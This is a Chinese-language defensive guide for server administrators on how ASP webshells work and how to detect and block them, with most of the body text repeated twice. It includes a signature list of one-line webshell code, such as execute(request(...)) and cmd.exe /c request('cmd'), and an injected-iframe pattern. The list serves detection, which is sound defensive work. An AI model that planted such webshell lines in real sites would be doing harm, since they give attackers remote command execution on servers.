ASP木馬的原理和基本防范方法
ASP木馬猖獗,基于ASP的網站時時處于危險之中,要讓網站的安全隨時得到保障,需要我們的服務器管理員要做些什么呢,如何防范ASP木馬呢?要防范ASP木馬,那么我們就需要知道它的運行原理和機制,下面我們看一段代碼:
Set oscript = Server.CreateObject("Wscript.SHELL") "建立了一個名為oscript的Wscript.SHELL對象,用于命令的執行"
Set oscriptNet = Server.CreateObject("Wscript.NETWORK")
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")
上面三行代碼創建了Wscript.SHELL、Wscript.NETWORK、scripting.FileSystemObject三個對象我們可以看出asp木馬的運行原理就是通過調用組件對象等完成的。
通過分析一些asp木馬,我們看出主要是通過3個組件運行的,第一個是我們都知道的FSO, 需要FSO支持也就是"scripting.FileSystemObject"項的支持,那么有人會說,是不是刪除這個組件就可以了呀 ,不可以的,因為現在很多程序都是要用到FSO這個組件的,所以是覺得不能限制的,不然正常的程序也運行不了,現在網上有很多教程,告訴別人刪除或限制使用,這些方法都很極端,我不推薦大家使用,我們再說另外幾個組件"shell.application"、"Wscript.SHELL"等危險組件 ,一般的木馬都是要使用這幾個組件的 ,即使你把fso組件限制的話,你不去限制別的組件的的話,一樣不能起到效果的,對于fso組件之外的其他的幾個組件,我們平時是不太用的,所以我們可以直接在注冊表中的HKEY_CLASSES_ROOT中找到
找到"shell.application"、"Wscript.SHELL"等危險的腳本對象(因為它們都是用于創建腳本命令通道的)進行改名或刪除,也就是限制系統對“腳本SHELL”的創建,ASP木馬也就成為無本之木、無米之炊,運行不起來了。如果我們自己要使用的話,那么我們就不要刪除直接改下名字,如果是改名,要改得復雜一點,不要讓別人猜到了,我們在要用的程序里面直接把調用的名字改成我們剛才修改的名字就可以了。
對組件進行限制之后,我們還應該對服務器的權限進行嚴格的設置,這里我就不說了,由于篇幅問題,等下不知道要寫多久了,大家可以參考網上的一些安全權限設置, 我們對權限和組件等等設置完了之后,基本上就能防止asp木馬的危害了。
另外有一點應該注意,如果確實發現木馬了,查殺完之后,應該將具有管理權限的各類帳號都進行修改。包括論壇的帳號、數據庫帳號以及服務器操作系統帳號、FTP 帳號等,如果我們做到了這個幾點話,我們的服務器基本上是安全了,呵呵,為什么說是基本的呢,因為這個世界上根本就沒有安全的服務器了,只不過我們剛才說到的設置只是能夠防范大部分asp木馬的的侵害,不排除一些別的因素,比如說提限。說白了防范asp木馬就是要限制組件,設置嚴格的權限和保證asp程序的安全
我們下面說下怎么樣查殺asp木馬了,我根據自己的一些經驗說幾種方法
1. 時間比較法
按時間順序找到最近被改動的asp文件 ,打開看下,是不是木馬呢,什么,看不懂代碼, 那你就把不是你自己放的asp文件,名字看一眼就看的出的。比如說diy.ap.dm6.asp,angel.asp.shell.asp什么的文件,可疑的asp文件不是你自己創建的刪除,或直接訪問下看下是不是木馬就可以了
2. 查找關鍵字,asp木馬都是有關鍵字的,也就像病毒的特征碼,我們用windows自帶的搜索功能就能查找到 ,查找包含內容為關鍵字的所有文件就可以了,找到以后看下就可以了,有時候能查找到一些asp的大文件,如果是虛擬主機的話,一般是數據庫文件改成asp的了,如果是一句話木馬的關鍵字就小心了,如果是大型木馬的關鍵字,咱們訪問一下看看,我不贊成把數據庫改成asp的,至于為什么,大家都知道吧。
我整理了一些特征碼,現在給大家
這些都是關鍵字了,全部是我從木馬里面一個一個提取出來的,如果有這些特征的話,一般都是木馬 ,不過大家最好打開看一下,不排除特殊情況。如果你的網站里,有類似代碼:<iframe src="http://www.***.com" ></iframe> 估計可能是被加入的惡意連接,或著被掛馬了,好狠毒,那么請在關鍵詞中搜索iframe src,
3. 大家也可以用明小子的asp木馬掃描的這個小工具拉,把我的關鍵字放進去,掃描一下,挺方便的,呵呵
4. 在網站結構清楚的情況下,瀏覽目錄法能快速確定木馬,在不該出現的地方出現的文件,管他是不是木馬都可以刪,比如說dvbbs下的 upfile這些文件夾里是不應該出現asp文件的,我們一發現就刪除就是了 ,不過要求管理員對自己的網站目錄結構熟
5. 有一種方法可以試下,就是做好備份,一旦發現有人入侵,馬上還原,這樣什么木馬也不怕了,不過要注意的是,把保證備份文件是安全的 ,要是備份文件里也有木馬,讓就沒搞一樣的
6. 用asp木馬追捕的文件,查殺,網上有下載的,另外我們常用的殺毒軟件也有這樣的功能,我推薦大家采用卡巴斯機,效果非常好,幾乎能查殺如今所有流行的asp木馬
上面只是簡單的介紹了一下,asp木馬的一些查殺方法,當然這些只是亡養補牢了,我們最好對服務器系統進行嚴格的權限限制,讓黑客即使是上傳了木馬也沒有什么用,這里權限的限制我就不多說了等下不知道要寫多少,網上的資料也很全面的,大家可以自己去查找西。而且現在說來說去,asp木馬的隱藏方法確實是很高明,asp木馬代碼加密,圖片合并,文件時間修改,還有要命的系統漏洞利用等等這對于要百分之百查殺asp木馬的查殺,幾乎不可能,我們只有堵住木馬上傳的源頭 ,asp程序盡量用最新版本,網站中的上傳途徑自己應該特別注意,對于不需要腳本運行的文件夾在iis里面設置,執行許可為無,還有就是管理員要求有良好的安全意識,不然的話,談不上安全了,并且我們設置了權限之后, 傳了也是白傳。
Set oscript = Server.CreateObject("Wscript.SHELL") "建立了一個名為oscript的Wscript.SHELL對象,用于命令的執行"
Set oscriptNet = Server.CreateObject("Wscript.NETWORK")
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")
上面三行代碼創建了Wscript.SHELL、Wscript.NETWORK、scripting.FileSystemObject三個對象我們可以看出asp木馬的運行原理就是通過調用組件對象等完成的。
通過分析一些asp木馬,我們看出主要是通過3個組件運行的,第一個是我們都知道的FSO, 需要FSO支持也就是"scripting.FileSystemObject"項的支持,那么有人會說,是不是刪除這個組件就可以了呀 ,不可以的,因為現在很多程序都是要用到FSO這個組件的,所以是覺得不能限制的,不然正常的程序也運行不了,現在網上有很多教程,告訴別人刪除或限制使用,這些方法都很極端,我不推薦大家使用,我們再說另外幾個組件"shell.application"、"Wscript.SHELL"等危險組件 ,一般的木馬都是要使用這幾個組件的 ,即使你把fso組件限制的話,你不去限制別的組件的的話,一樣不能起到效果的,對于fso組件之外的其他的幾個組件,我們平時是不太用的,所以我們可以直接在注冊表中的HKEY_CLASSES_ROOT中找到
找到"shell.application"、"Wscript.SHELL"等危險的腳本對象(因為它們都是用于創建腳本命令通道的)進行改名或刪除,也就是限制系統對“腳本SHELL”的創建,ASP木馬也就成為無本之木、無米之炊,運行不起來了。如果我們自己要使用的話,那么我們就不要刪除直接改下名字,如果是改名,要改得復雜一點,不要讓別人猜到了,我們在要用的程序里面直接把調用的名字改成我們剛才修改的名字就可以了。
對組件進行限制之后,我們還應該對服務器的權限進行嚴格的設置,這里我就不說了,由于篇幅問題,等下不知道要寫多久了,大家可以參考網上的一些安全權限設置, 我們對權限和組件等等設置完了之后,基本上就能防止asp木馬的危害了。
另外有一點應該注意,如果確實發現木馬了,查殺完之后,應該將具有管理權限的各類帳號都進行修改。包括論壇的帳號、數據庫帳號以及服務器操作系統帳號、FTP 帳號等,如果我們做到了這個幾點話,我們的服務器基本上是安全了,呵呵,為什么說是基本的呢,因為這個世界上根本就沒有安全的服務器了,只不過我們剛才說到的設置只是能夠防范大部分asp木馬的的侵害,不排除一些別的因素,比如說提限。說白了防范asp木馬就是要限制組件,設置嚴格的權限和保證asp程序的安全
我們下面說下怎么樣查殺asp木馬了,我根據自己的一些經驗說幾種方法
1. 時間比較法
按時間順序找到最近被改動的asp文件 ,打開看下,是不是木馬呢,什么,看不懂代碼, 那你就把不是你自己放的asp文件,名字看一眼就看的出的。比如說diy.ap.dm6.asp,angel.asp.shell.asp什么的文件,可疑的asp文件不是你自己創建的刪除,或直接訪問下看下是不是木馬就可以了
2. 查找關鍵字,asp木馬都是有關鍵字的,也就像病毒的特征碼,我們用windows自帶的搜索功能就能查找到 ,查找包含內容為關鍵字的所有文件就可以了,找到以后看下就可以了,有時候能查找到一些asp的大文件,如果是虛擬主機的話,一般是數據庫文件改成asp的了,如果是一句話木馬的關鍵字就小心了,如果是大型木馬的關鍵字,咱們訪問一下看看,我不贊成把數據庫改成asp的,至于為什么,大家都知道吧。
我整理了一些特征碼,現在給大家
| gxgl lcx <script RUNAT=SERVER LANGUAGE=JAVAscript>eval(Request.form(’#’)+’’)</script> 輸入馬的內容 session("b") request("kker") 非常遺憾,您的主機不支持ADODB.Stream,不能使用本程序 傳至服務器已有虛擬目錄 警告:對非法使用此程序可能帶來的任何不良后果責任自負!請勿用于非法用途!!! <%execute request("value")%> ccopus <%execute(request("#"))%> <script language="vbscript" runat=server>if reques(#")<>"" then execute(request("#"))</script> ("cmd.exe /c "&request.form("cmd")). ("cmd.exe /c "&request("cmd")). ("cmd.exe /c "&request("c")). |
這些都是關鍵字了,全部是我從木馬里面一個一個提取出來的,如果有這些特征的話,一般都是木馬 ,不過大家最好打開看一下,不排除特殊情況。如果你的網站里,有類似代碼:<iframe src="http://www.***.com" ></iframe> 估計可能是被加入的惡意連接,或著被掛馬了,好狠毒,那么請在關鍵詞中搜索iframe src,
3. 大家也可以用明小子的asp木馬掃描的這個小工具拉,把我的關鍵字放進去,掃描一下,挺方便的,呵呵
4. 在網站結構清楚的情況下,瀏覽目錄法能快速確定木馬,在不該出現的地方出現的文件,管他是不是木馬都可以刪,比如說dvbbs下的 upfile這些文件夾里是不應該出現asp文件的,我們一發現就刪除就是了 ,不過要求管理員對自己的網站目錄結構熟
5. 有一種方法可以試下,就是做好備份,一旦發現有人入侵,馬上還原,這樣什么木馬也不怕了,不過要注意的是,把保證備份文件是安全的 ,要是備份文件里也有木馬,讓就沒搞一樣的
6. 用asp木馬追捕的文件,查殺,網上有下載的,另外我們常用的殺毒軟件也有這樣的功能,我推薦大家采用卡巴斯機,效果非常好,幾乎能查殺如今所有流行的asp木馬
上面只是簡單的介紹了一下,asp木馬的一些查殺方法,當然這些只是亡養補牢了,我們最好對服務器系統進行嚴格的權限限制,讓黑客即使是上傳了木馬也沒有什么用,這里權限的限制我就不多說了等下不知道要寫多少,網上的資料也很全面的,大家可以自己去查找西。而且現在說來說去,asp木馬的隱藏方法確實是很高明,asp木馬代碼加密,圖片合并,文件時間修改,還有要命的系統漏洞利用等等這對于要百分之百查殺asp木馬的查殺,幾乎不可能,我們只有堵住木馬上傳的源頭 ,asp程序盡量用最新版本,網站中的上傳途徑自己應該特別注意,對于不需要腳本運行的文件夾在iis里面設置,執行許可為無,還有就是管理員要求有良好的安全意識,不然的話,談不上安全了,并且我們設置了權限之后, 傳了也是白傳。